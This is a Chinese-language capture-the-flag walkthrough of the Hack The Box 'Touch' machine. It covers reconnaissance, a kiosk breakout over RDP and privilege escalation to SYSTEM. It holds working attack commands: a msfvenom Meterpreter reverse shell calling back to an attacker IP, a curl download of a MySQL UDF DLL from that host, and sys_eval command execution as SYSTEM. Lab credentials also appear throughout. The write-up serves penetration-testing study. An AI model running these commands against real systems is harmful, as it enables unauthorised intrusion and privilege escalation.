(HTB)0x7-Touch

Machine Information :
In the Layover machine, you uncovered a name and a booking confirmation code. Maybe they’ll come in handy here? Jenny Crawford / KS7X2M

鼠鼠找到的tips :Touch HTB Walkthrough

用 nmap 掃 : 

1
2
3
4
5
6
7
8
9
10
(base) PS C:\Users\1984l\OneDrive\桌面> nmap 10.129.149.70
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-19 08:56 +0800
Nmap scan report for touch.thb (10.129.149.70)
Host is up (0.31s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE
135/tcp  open  msrpc
3389/tcp open  ms-wbt-server
5985/tcp open  wsman
8443/tcp open  https-alt

端口 5985 是 Windows 远程管理（WinRM, Windows Remote Management） 服务的默认 HTTP 传输端口

端口 8443 是HTTPS

3389 端口是 Windows 操作系统中远程桌面协议（RDP，Remote Desktop Protocol）的默认通信端口。

135 端口是 Windows 操作系统中用于 RPC（Remote Procedure Call，远程过程调用）协议和 DCOM（分布式组件对象模型）服务的核心端口。

再用fscan來掃掃:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(base) PS E:\ctf tools\Web security\fscan> .\fscan_2.2.2_windows_x64.exe -h 10.129.149.70
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan 2.2.2 (2ede41d 2026-10-01T05:55:05Z)

[*] 服务插件: telnet, mqtt, zookeeper, mongodb, webtitle ... 等36个
[*] 参数自适应: Timeout=1709ms, ModuleThread=5, Retry=6, ICMPRate=0.05, PocNum=5
[*] http://10.129.149.70:8443      http     [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Micro...)
[*] http://10.129.149.70:8443      code:302 len:0     title:Nexion DeviceHub - Login server:Microsoft-HTTPAPI/2.0
[*] http://10.129.149.70:5985      http     [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microso...)
[*] http://10.129.149.70:5985      code:404 len:315   title:Not Found            server:Microsoft-HTTPAPI/2.0
[*] 10.129.149.70:135              msrpc    [Product:Microsoft Windows RPC] Banner:(@)
[*] 10.129.149.70:3389             ms-wbt-server [Product:Microsoft Terminal Service] Banner:(4)
端口扫描中（22线程） ● 100.0% [==============================] (133/133) 8/s TCP:15/139
[完成] 扫描完成: 133/133 (耗时: 17.6s)
[*] 扫描完成，发现 4 个开放端口
[+] NetInfo 10.129.149.70:135 [KIOSK-042]
[+] NetInfo 10.129.149.70:135   -> 10.129.149.70

我想想好本來只打RDP的 , 用了Jenny Crawford / KS7X2M 密碼不對

50a8e4d5-ad37-4f44-b859-95703c1885ae.png

問了問ai說這是一個iot管理系統

沒找到什麼東西看 , 用 dirsearch 掃掃 : 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(py311) ghsc@Jerrylaptop:~/dirsearch$ python dirsearch.py -u http://touch.htb:8443/

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12292

Target: http://touch.htb:8443/

[10:52:42] Scanning:
[10:53:10] 403 -   312B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[10:53:39] 403 -    35B - /api
[10:53:39] 403 -    35B - /api/
[10:54:07] 200 -   452B - /favicon.ico
[10:54:10] 302 -     0B - /g  ->  /login
[10:54:15] 302 -     0B - /i  ->  /login
[10:54:16] 302 -     0B - /in  ->  /login
[10:54:21] 302 -     0B - /l  ->  /login
[10:54:23] 302 -     0B - /log  ->  /login
[10:54:24] 200 -    3KB - /login
[10:54:24] 200 -    3KB - /login/
[10:54:33] 302 -     0B - /n  ->  /login
[10:54:34] 302 -     0B - /o  ->  /login

有/api/再掃一掃: ?66666

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(py311) ghsc@Jerrylaptop:~/dirsearch$ python dirsearch.py -u http://touch.htb:8443/api

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12292

Target: http://touch.htb:8443/

[10:58:33] Scanning: api/
[10:59:00] 403 -   312B - /api/\..\..\..\..\..\..\..\..\..\etc\passwd
[11:00:50] 200 -   116B - /api/status
[11:00:50] 200 -   116B - /api/status/
[11:00:50] 200 -   116B - /api/status?full=true

還有full可以設:

返回了一個json:

1
2
3
4
5
6
7
8
{
  "device":"Nexion DeviceHub DH-100",
  "serial":"NX-DH-2024-B7042",
  "firmware":"1.4.2",
  "status":"online",
  "uptime":36094
}

找到password NX-DH-2024-B7042

登入後的樣子是這樣的：

截图 在printer找到了username password , `KioskUser` `K!0sk2026#`

RDP一下成功!!!

截图

沒什麼看的回到主頁

截图

這兩個好像有什麼關係 , 沒什麼用 , power off 一下看看rdp那邊會出現什麼:

?! 看來一關掉 scanner 就用不了

64fa43b7-7d5a-406b-ac2e-3e2813a14587.png

錯誤對話方塊中包含一個指向故障排除網站的超連結:

https://support.nexionsystems.com/docreader/troubleshoot

連不上去

機子沒網了

截图

Microsoft Edge 的鍵盤快速鍵

找找有沒有機會上cmd:

截图

User flag

可以用Ctrl+O開啟user.txt

f3d448e91a947bb0c8afe44524ff3306.png

Root flag

再找一找cmd :　C:\Windows\System32\cmd.exe

e95fec10-fd6a-46e2-b62e-e333ce533c06.png 7e749ee4-0e99-4b49-869a-2e63f6e7468d.png 
1
whoami /priv
截图

SeChangeNotifyPrivilege 是 Windows 的「繞過遍歷檢查」（Bypass traverse checking）特權

在本機上用 msf 產生 Windows x64 Meterpreter.exe，再wget到 Windows 靶機

模板:

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<你的攻擊機IP> LPORT=<自訂監聽埠號> -f exe -o ./payload.exe

生成木馬放進靶機:

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.17.141 LPORT=4455 -f exe -o ./Meterprete.exe
截图

用msf:

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.17.141
set LPORT 4455
run

bypassuac失敗

可以看見是一個Windows 11 24h2 x64

ae7f7b25-0401-4f6d-be99-b869fd00a3b0.png 
1
2
3
4
meterpreter > getsystem
...got system via technique 6 (Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)).
meterpreter > getuid
Server username: KIOSK-042\KioskUser

如果成功：會顯示 …got system via technique X…，此時再輸入 getuid 就會變成最高權限的 SYSTEM

有一個EfsPotato , 提權失敗 ….

1
meterpreter > shell

在靶機上 curl -o 一個 Winpeas.sh 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\KioskUser\Downloads>dir
 Volume in drive C has no label.
 Volume Serial Number is 9B34-EFD9

 Directory of C:\Users\KioskUser\Downloads

10/19/2026  07:48 AM    <DIR>          .
09/10/2026  11:36 AM    <DIR>          ..
10/19/2026  04:05 AM           344,064 cmd (1).exe
10/19/2026  04:02 AM           344,064 cmd.exe
10/19/2026  07:28 AM             7,680 Meterprete.exe
10/19/2026  07:48 AM        11,712,512 winpeas.exe
               4 File(s)     12,408,320 bytes
               2 Dir(s)   8,698,990,592 bytes free

C:\Users\KioskUser\Downloads>.\winpeas.exe
截图

發現有一個SQL:

截图

RDP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
RDP exposure context: enabled=True, NLA enabled=False (accessibility backdoors may be remotely reachable pre-authentication)
C:\WINDOWS\System32\sethc.exe -> suspicious: PE original filename is not sethc.exe; Authenticode trust validation failed
    SHA-256          : 6A61C71CD228E0C9686B35914B8E9051174632EEABE5724DA93A4FF6C46C9B17
    Size              : 172032
    Last write (UTC)  : 9/15/2026 9:51:52 PM
    Original filename : sethc.exe.mui
    File version      : 10.0.26100.8117 (WinBuild.160101.0800)
    Signature         : Invalid (0x800B0100)
    Signer            :
    Owner             : NT SERVICE\TrustedInstaller [S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464]
    Attributes        : Archive
    Hard-link count   : 2
    Low-priv write ACEs:
C:\WINDOWS\System32\utilman.exe -> suspicious: PE original filename is not utilman.exe; Authenticode trust validation failed
    SHA-256          : B6D5CECEA2F4509FD99AC289076B4C9E2B792A014DCCE4D5B43FE1B416F1A12E
    Size              : 323584
    Last write (UTC)  : 9/15/2026 9:53:04 PM
    Original filename : utilman2.exe.mui
    File version      : 10.0.26100.8117 (WinBuild.160101.0800)
    Signature         : Invalid (0x800B0100)
    Signer            :
    Owner             : NT SERVICE\TrustedInstaller [S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464]
    Attributes        : Archive
    Hard-link count   : 2
    Low-priv write ACEs:
C:\WINDOWS\SysWOW64\sethc.exe -> suspicious: Authenticode trust validation failed
    SHA-256          : 5BA0349A72E857D77FBA014303433D355242348EC707C702F8CEFA2C6CCA5239
    Size              : 119296
    Last write (UTC)  : 9/15/2026 9:51:52 PM
    Original filename : sethc.exe
    File version      : 10.0.26100.9278 (WinBuild.160101.0800)
    Signature         : Invalid (0x800B0100)
    Signer            :
    Owner             : NT SERVICE\TrustedInstaller [S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464]
    Attributes        : Archive
    Hard-link count   : 2
    Low-priv write ACEs:
C:\WINDOWS\SysWOW64\utilman.exe -> suspicious: PE original filename is not utilman.exe; Authenticode trust validation failed
    SHA-256          : A517F695317A092623F4E830E07DFD6C56C3E6579636BB5A6C5D2E5F20759388
    Size              : 259072
    Last write (UTC)  : 9/15/2026 9:53:04 PM
    Original filename : utilman2.exe
    File version      : 10.0.26100.9278 (WinBuild.160101.0800)
    Signature         : Invalid (0x800B0100)
    Signer            :
    Owner             : NT SERVICE\TrustedInstaller [S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464]
    Attributes        : Archive
    Hard-link count   : 2
    Low-priv write ACEs:

SQL收集

先看看MySQL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
C:\MySQL>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 9B34-EFD9

 Directory of C:\MySQL

04/04/2026  02:34 PM    <DIR>          .
04/04/2026  02:33 PM    <DIR>          bin
10/19/2026  12:53 AM    <DIR>          data
04/04/2026  02:33 PM    <DIR>          docs
04/04/2026  02:33 PM    <DIR>          include
04/04/2026  02:33 PM    <DIR>          lib
03/31/2025  08:19 AM           259,904 LICENSE
04/04/2026  02:35 PM               376 my.ini
03/31/2025  08:19 AM               666 README
04/04/2026  02:33 PM    <DIR>          share
               3 File(s)        260,946 bytes
               7 Dir(s)   8,631,386,112 bytes free

C:\MySQL>type my.ini
type my.ini
[mysqld]
basedir=C:/MySQL
datadir=C:/MySQL/data
port=3306
bind-address=127.0.0.1
max_allowed_packet=256M
innodb_buffer_pool_size=512M
default-authentication-plugin=mysql_native_password
character-set-server=utf8mb4
collation-server=utf8mb4_unicode_ci
log-error=C:/MySQL/data/mysql-error.log
explicit_defaults_for_timestamp=1

[client]
port=3306
default-character-set=utf8mb4

my.ini沒找到什麼有用的 , 嘗試免密碼密碼登入失敗

用了dir /a 來顯示所有檔案 找到了\ProgramData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
C:\>dir /a
dir /a
 Volume in drive C has no label.
 Volume Serial Number is 9B34-EFD9

 Directory of C:\

10/19/2026  04:02 AM    <DIR>          $Recycle.Bin
09/15/2026  02:56 PM    <DIR>          $WinREAgent
07/16/2025  11:27 PM    <JUNCTION>     Documents and Settings [C:\Users]
10/19/2026  12:52 AM            12,288 DumpStack.log.tmp
09/15/2026  03:27 PM    <DIR>          inetpub
04/04/2026  02:34 PM    <DIR>          MySQL
10/19/2026  12:52 AM       335,544,320 pagefile.sys
04/01/2024  12:26 AM    <DIR>          PerfLogs
09/30/2026  12:23 PM    <DIR>          Program Files
04/01/2024  01:31 AM    <DIR>          Program Files (x86)
09/30/2026  01:21 PM    <DIR>          ProgramData
07/16/2025  11:27 PM    <DIR>          Recovery
10/19/2026  12:52 AM        16,777,216 swapfile.sys
07/16/2025  11:27 PM    <DIR>          System Volume Information
09/17/2026  05:14 PM    <DIR>          Temp
04/04/2026  06:56 AM    <DIR>          Users
09/24/2026  11:18 AM    <DIR>          Windows
               3 File(s)    352,333,824 bytes
              14 Dir(s)   8,628,244,480 bytes free

C:\>dir ProgramData
dir ProgramData
 Volume in drive C has no label.
 Volume Serial Number is 9B34-EFD9

 Directory of C:\ProgramData

04/04/2026  11:15 PM    <DIR>          HTB Airways
04/04/2026  06:47 AM               122 htb-backend.bat
04/04/2026  06:47 AM               140 htb-frontend.bat
09/24/2026  01:14 PM             1,336 KioskStartup.bat
10/19/2026  03:23 AM    <DIR>          Nexion
04/04/2026  10:39 AM               121 NexionPrinter.bat
04/04/2026  07:31 AM    <DIR>          Package Cache
09/15/2026  03:44 PM    <DIR>          Packages
04/04/2026  10:51 AM                24 pwned.txt
10/19/2026  07:53 AM    <DIR>          regid.1991-06.com.microsoft
04/01/2024  12:26 AM    <DIR>          SoftwareDistribution
04/01/2024  01:03 AM    <DIR>          ssh
09/24/2026  10:52 AM    <DIR>          USOPrivate
04/01/2024  12:26 AM    <DIR>          USOShared
07/16/2025  11:40 PM    <DIR>          VMware
               5 File(s)          1,743 bytes
              10 Dir(s)   8,628,232,192 bytes free

可以看到 TypeScript 資料庫設定檔在 C:\Program Files\HTB Airways\Kiosk\packages\backend\src\index.ts

1
2
3
4
5
6
7
8
9
10
C:\ProgramData>type  htb-backend.bat
type  htb-backend.bat
@echo off
cd /d "C:\Program Files\HTB Airways\Kiosk"
"C:\Program Files\nodejs\npx.cmd" tsx packages\backend\src\index.ts
C:\ProgramData>type htb-frontend.bat
type htb-frontend.bat
@echo off
cd /d "C:\Program Files\HTB Airways\Kiosk"
"C:\Program Files\nodejs\npx.cmd" vite --host 127.0.0.1 --port 5173 packages\frontend

index.ts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import express from "express";
import cors from "cors";
import helmet from "helmet";
import rateLimit from "express-rate-limit";
import path from "path";
import { fileURLToPath } from "url";
import { checkinRouter } from "./routes/checkin.js";
import { seatRouter } from "./routes/seats.js";
import { documentRouter } from "./routes/documents.js";
import { boardingPassRouter } from "./routes/boarding-pass.js";
import { sessionRouter } from "./routes/session.js";
import { staffRouter } from "./routes/staff.js";
import { errorHandler } from "./middleware/error-handler.js";
import { requestLogger } from "./middleware/request-logger.js";
import { sessionAuth } from "./middleware/session-auth.js";
import { config } from "./config/index.js";
import { getDb, checkConnection } from "./database/index.js";

getDb();
checkConnection().then((ok) => {
  console.log(ok ? "MySQL connected" : "MySQL unavailable — running without database");
});

const app = express();

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'", "'unsafe-inline'", "https://fonts.googleapis.com"],
      fontSrc: ["'self'", "https://fonts.googleapis.com"],
      imgSrc: ["'self'", "data:", "http://localhost:8443"],
      connectSrc: ["'self'", "http://localhost:8443"],
      frameAncestors: ["'none'"],
    },
  },
  crossOriginEmbedderPolicy: false,
}));

app.use(cors({
  origin: config.allowedOrigins,
  methods: ["GET", "POST", "DELETE"],
  allowedHeaders: ["Content-Type", "X-Session-Token"],
  credentials: false,
}));

app.use(express.json({ limit: "100kb" }));

app.use(rateLimit({
  windowMs: 60 * 1000,
  max: 120,
  standardHeaders: true,
  legacyHeaders: false,
  message: { success: false, error: { code: "RATE_LIMIT", message: "Too many requests" } },
}));

app.use(requestLogger);

app.disable("x-powered-by");

app.get("/health", (_req, res) => {
  res.json({ status: "ok", timestamp: new Date().toISOString() });
});

app.use("/api/session", sessionRouter);

app.use("/api/checkin", sessionAuth, checkinRouter);
app.use("/api/seats", sessionAuth, seatRouter);
app.use("/api/documents", sessionAuth, documentRouter);
app.use("/api/boarding-pass", sessionAuth, boardingPassRouter);
app.use("/api/staff", staffRouter);

const __dirname = path.dirname(fileURLToPath(import.meta.url));
const frontendDist = path.resolve(__dirname, "../../frontend/dist");
app.use(express.static(frontendDist));

app.use(errorHandler);

app.get("*", (_req, res) => {
  res.sendFile(path.join(frontendDist, "index.html"));
});

app.listen(config.port, "127.0.0.1", () => {
  console.log(`Kiosk API server running on http://127.0.0.1:${config.port}`);
});

找到了db-config 但是限權不夠:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
C:\ProgramData\HTB Airways>dir /a
dir /a
 Volume in drive C has no label.
 Volume Serial Number is 9B34-EFD9

 Directory of C:\ProgramData\HTB Airways

04/04/2026  11:15 PM    <DIR>          .
09/30/2026  01:21 PM    <DIR>          ..
04/04/2026  02:57 PM               286 db-config.ini
04/04/2026  02:52 PM            10,724 db-sync-replica.ps1
04/04/2026  07:34 PM               117 refresh-dates.bat
04/04/2026  11:58 PM             2,282 refresh-dates.sql
               4 File(s)         13,409 bytes
               2 Dir(s)   8,628,047,872 bytes free

C:\ProgramData\HTB Airways>type db-config.ini
type db-config.ini
Access is denied.

SQL密碼洩漏

找到了一個檔案暴露了密碼:

1
2
3
4
C:\ProgramData\HTB Airways>type refresh-dates.bat
type refresh-dates.bat
@echo off
C:\MySQL\bin\mysql.exe -u root -pHTB@irw4ys_DB!2026 < "C:\ProgramData\HTB Airways\refresh-dates.sql" 2>nul

返回SQL 登入:

進去好卡, 用-e來:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mysql.exe -u root -pHTB@irw4ys_DB!2026 -e "SHOW DATABASES;"

htb_airways
information_schema
mysql
nexion_devices
performance_schema
sys

mysql.exe -u root -pHTB@irw4ys_DB!2026 htb_airways -e "SHOW TABLES;"

Tables_in_htb_airways
_htb_staff
_sync_metadata
boarding_passes
booking_passengers
bookings
checkin_log
document_scans
flights
passengers
seat_assignments

先看看 _htb_staff:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
mysql.exe -u root -pHTB@irw4ys_DB!2026 htb_airways -e "SELECT * FROM _htb_staff ;"

id      employee_id     first_name      last_name       email   auth_code       role    department      badge_number    base_airport    hire_datephone_ext       active  last_login      notes
1       HTB-97248       Marcus  Mitchell        mmitchell@htbairways.htb        4601947A40E4BDCE        Cargo Supervisor        Safety & Compliance      BDG-161430      ORD     2014-12-25      4601    1       2026-04-04 22:42:06     NULL
2       HTB-80469       Elena   Kovacs  ekovacs@htbairways.htb  D4E96DB85AECAFC4        First Officer   Flight Operations       BDG-545523      SFO      2024-09-25      8444    1       2026-04-03 17:47:00     NULL
3       HTB-98398       David   Andersen        dandersen@htbairways.htb        255160EA80AF52CC        Senior Check-in Agent   Engineering & Maintenance        BDG-398063      HKG     2010-08-27      6730    1       2026-04-02 12:51:00     NULL
4       HTB-25469       Sarah   Nakamura        snakamura@htbairways.htb        65BBA59D1B5145E7        First Officer   Revenue Management      BDG-420823       HKG     2009-05-28      8268    1       2026-04-02 21:16:00     NULL
5       HTB-76155       James   Okonkwo jokonkwo@htbairways.htb EA42FAB8CAE50D63        Maintenance Technician  Terminal Operations     BDG-457691       CDG     2016-05-23      1023    1       NULL    NULL
6       HTB-38997       Priya   Bergström       pbergstrm@htbairways.htb        D531E04C42758846        Check-in Agent  Security        BDG-814602       LAX     2020-12-13      9830    1       2026-04-04 16:41:00     NULL
7       HTB-66373       Thomas  Santos  tsantos@htbairways.htb  DBEA8BF35F3B93A3        Aviation Security Lead  Training & Development  BDG-807343       HKG     2020-09-22      7355    1       2026-04-02 06:33:00     NULL
8       HTB-58295       Mei     Patel   mpatel@htbairways.htb   E624511D7FD0A720        Customer Service Agent  Engineering & Maintenance       BDG-677885       CDG     2016-09-26      2003    1       2026-04-02 09:58:00     NULL
9       HTB-98600       Carlos  Dubois  cdubois@htbairways.htb  88123126BC55AC23        Duty Manager    In-Flight Services      BDG-109474      JFK      2020-10-20      3525    1       2026-04-02 18:27:00     NULL
10      HTB-34325       Fatima  Kim     fkim@htbairways.htb     60F90262004EF01F        Gate Agent      Catering Services       BDG-723165      CDG      2009-01-02      7232    1       2026-04-01 16:10:00     NULL
11      HTB-43955       Robert  Hoffmann        rhoffmann@htbairways.htb        AD59D674FEE120D4        Revenue Management Analyst      Crew Management  BDG-338886      ATL     2023-02-02      6137    1       2026-04-04 19:26:00     NULL
12      HTB-45332       Anika   Torres  atorres@htbairways.htb  5E029161F6ECE1A9        Quality Assurance Inspector     Terminal Operations     BDG-663485       SIN     2016-07-08      1220    1       2026-04-02 07:10:00     NULL
13      HTB-15827       William Ivanova wivanova@htbairways.htb 43F718B0397FFDF5        Operations Manager      Training & Development  BDG-209987       ATL     2023-12-06      8588    1       2026-04-03 11:55:00     NULL
14      HTB-54598       Yuki    Yamamoto        yyamamoto@htbairways.htb        BFDD344882B28674        Operations Manager      Crew Management BDG-779206       LAX     2014-09-01      8768    1       2026-04-04 15:50:00     NULL
15      HTB-75142       Ahmed   Al-Rashid       aalrashid@htbairways.htb        B0E5D6C0675DC6DC        Security Screening Officer      SecurityBDG-571717       SIN     2020-01-11      7962    1       NULL    NULL
16      HTB-24441       Olivia  Lindberg        olindberg@htbairways.htb        1871D8DE90E9135B        Check-in Supervisor     Cargo OperationsBDG-491066       CDG     2013-06-23      8310    1       2026-04-04 22:32:00     NULL
17      HTB-89426       Sergei  Müller  smller@htbairways.htb   DFD0F7A09BFC9351        Baggage Handler Terminal Operations     BDG-571942      LAX      2011-05-23      6866    1       2026-04-03 12:23:00     NULL
18      HTB-73230       Nina    Fernandez       nfernandez@htbairways.htb       48E3CA097528E009        Ticketing Agent Security        BDG-324086       LAX     2015-06-01      4177    1       2026-04-02 05:28:00     NULL
19      HTB-12142       Patrick Johansson       pjohansson@htbairways.htb       CC1C6384C79F8486        Safety Officer  Ground Services BDG-792958       NRT     2025-02-16      8415    1       NULL    NULL
20      HTB-11937       Zara    Chen    zchen@htbairways.htb    7BF959E12104A59B        Flight Engineer Engineering & Maintenance       BDG-618772       LAX     2025-01-06      4076    1       2026-04-03 10:21:00     NULL
21      HTB-58317       Michael McAllister      mmcallister@htbairways.htb      A653E3DEECCBDBCE        Customer Service Agent  Terminal Operations      BDG-274006      SFO     2009-04-09      7257    1       NULL    NULL
22      HTB-34190       Chloe   Petrov  cpetrov@htbairways.htb  9C70CBAA6540797E        Terminal Coordinator    In-Flight Services      BDG-447498       CDG     2014-01-02      9265    1       2026-04-01 16:07:00     NULL
23      HTB-21796       Benjamin        Gonzalez        bgonzalez@htbairways.htb        65D6F6CED43D3C2E        Line Maintenance Supervisor     Customer Experience      BDG-149939      MIA     2011-11-11      7795    1       2026-04-02 11:54:00     NULL
24      HTB-97223       Leila   Tanaka  ltanaka@htbairways.htb  6348DC443E0883A9        Line Maintenance Supervisor     Flight Operations       BDG-340077       SFO     2013-08-02      3149    1       2026-04-02 06:37:00     NULL
25      HTB-31181       Andre   Ibrahim aibrahim@htbairways.htb B678BB6055ACE81F        Station Manager Customer Experience     BDG-127811      CDG      2018-12-11      5643    1       2026-04-04 05:52:00     NULL
26      HTB-18972       Sophie  Nielsen snielsen@htbairways.htb A172D8EA101681AE        Check-in Supervisor     Ground Services BDG-362969      ATL      2019-06-20      2190    1       2026-04-02 16:10:00     NULL
27      HTB-15335       Kenji   Weber   kweber@htbairways.htb   E5AEFED3F2EEA35F        First Officer   Cargo Operations        BDG-933105      AMS      2015-04-05      6144    1       2026-04-04 05:31:00     NULL
28      HTB-23411       Amara   Martinez        amartinez@htbairways.htb        B53951FF8C7B63CE        Lounge Manager  Revenue Management      BDG-760222       NRT     2023-07-20      2974    1       2026-04-01 13:08:00     NULL
29      HTB-35391       Luis    Suzuki  lsuzuki@htbairways.htb  7DD9286F5DC8B104        Ticketing Agent Customer Experience     BDG-696932      ATL      2014-06-10      8722    1       2026-04-01 05:11:00     NULL
30      HTB-98705       Eva     Hassan  ehassan@htbairways.htb  F83329B17B0C0E83        Customer Service Agent  Revenue Management      BDG-310986       ORD     2021-01-06      2383    1       NULL    NULL
31      HTB-37522       Daniel  Eriksson        deriksson@htbairways.htb        644D5E009C35E316        Safety Officer  Catering Services       BDG-131329       CDG     2021-04-21      4652    1       2026-04-04 20:12:00     NULL
32      HTB-58288       Ingrid  Silva   isilva@htbairways.htb   B95FB54E61B9B4AC        Station Manager Ground Services BDG-880903      JFK     2020-04-28       2836    1       2026-04-02 08:27:00     NULL

字太多了交給ai分析 , 在這是一些登機資料對提權沒有什麼作用.

已經成功拿到了 MySQL 的 root 權限 , 看看我能用什麼

SQL UDF(User Defined Function)

問問ai說可以試試UDF :

當 MySQL 內建的 SQL 函數（如 SUM()、NOW()）不夠用時，開發者可以用 C 或 C++ 寫一個自訂的功能，編譯成動態連結庫檔案（在 Windows 上是 .dll，在 Linux 上是 .so

在滲透測試中，如果我們滿足了以下三個條件，UDF 就會變成一個威力巨大的提權漏洞:

  1. 已經知道 root 密碼並成功登入
  2. 資料庫服務是以高權限執行, MySQL 服務預設經常以 NT AUTHORITY\SYSTEM（系統最高權限）身分在背景運作
  3. 允許寫入外掛檔案, 如.dll

dll so 文件下載link

1
2
3
4
mysql.exe -u root -pHTB@irw4ys_DB!2026 -e "show variables like 'secure%'"

Variable_name   Value
secure_file_priv        NULL

secure_file_priv 的 Value 顯示為 NULL 時 , 無法直接透過 SQL 指令把惡意的 UDF DLL 檔案寫入 MySQL

1
2
3
4
5
6
C:\MySQL\bin>mysql.exe -u root -pHTB@irw4ys_DB!2026 information_schema -e "select @@basedir;"
mysql.exe -u root -pHTB@irw4ys_DB!2026 information_schema -e "select @@basedir;"
mysql: [Warning] Using a password on the command line interface can be insecure.
@@basedir
C:\\MySQL\\

找出 MySQL 的外掛程式目錄路徑: 

1
2
3
4
5
6
7
8
9
mysql.exe -u root -pHTB@irw4ys_DB!2026 -e "SHOW VARIABLES LIKE 'plugin_dir';"

plugin_dir      C:\\MySQL\\lib\\plugin\\

C:\MySQL\lib\plugin>curl http://10.10.17.141/lib_mysqludf_sys_64%20%281%29.dll -o sol.dll
curl http://10.10.17.141/lib_mysqludf_sys_64%20%281%29.dll -o sol.dll
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100   7168 100   7168   0      0   8079      0                              0

dll加载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
create function sys_eval returns string soname 'sol.dll'
create function sys_exec returns integer soname 'sol.dll'

mysql.exe -u root -pHTB@irw4ys_DB!2026 -e "create function sys_eval returns string soname 'sol.dll'"
mysql.exe -u root -pHTB@irw4ys_DB!2026 -e "create function sys_exec returns integer soname 'sol.dll'"


C:\MySQL\bin>mysql.exe -u root -pHTB@irw4ys_DB!2026 -e "create function sys_eval returns string soname 'sol.dll'"
mysql.exe -u root -pHTB@irw4ys_DB!2026 -e "create function sys_eval returns string soname 'sol.dll'"
mysql: [Warning] Using a password on the command line interface can be insecure.

C:\MySQL\bin>mysql.exe -u root -pHTB@irw4ys_DB!2026 -e "create function sys_exec returns integer soname 'sol.dll'"
mysql.exe -u root -pHTB@irw4ys_DB!2026 -e "create function sys_exec returns integer soname 'sol.dll'"
mysql: [Warning] Using a password on the command line interface can be insecure.

使用sys_eval()來看看身份:

1
2
3
4
5
6
7
8
9
mysql.exe -u root -pHTB@irw4ys_DB!2026 -e  "SELECT sys_eval('whoami')"

C:\MySQL\bin>mysql.exe -u root -pHTB@irw4ys_DB!2026 -e  "SELECT sys_eval('whoami')"
mysql.exe -u root -pHTB@irw4ys_DB!2026 -e  "SELECT sys_eval('whoami')"
mysql: [Warning] Using a password on the command line interface can be insecure.
sys_eval('whoami')
nt authority\\system

mysql.exe -u root -pHTB@irw4ys_DB!2026 -e  "SELECT sys_eval('type C:\\Users\\Administrator\\Desktop\\root.txt')"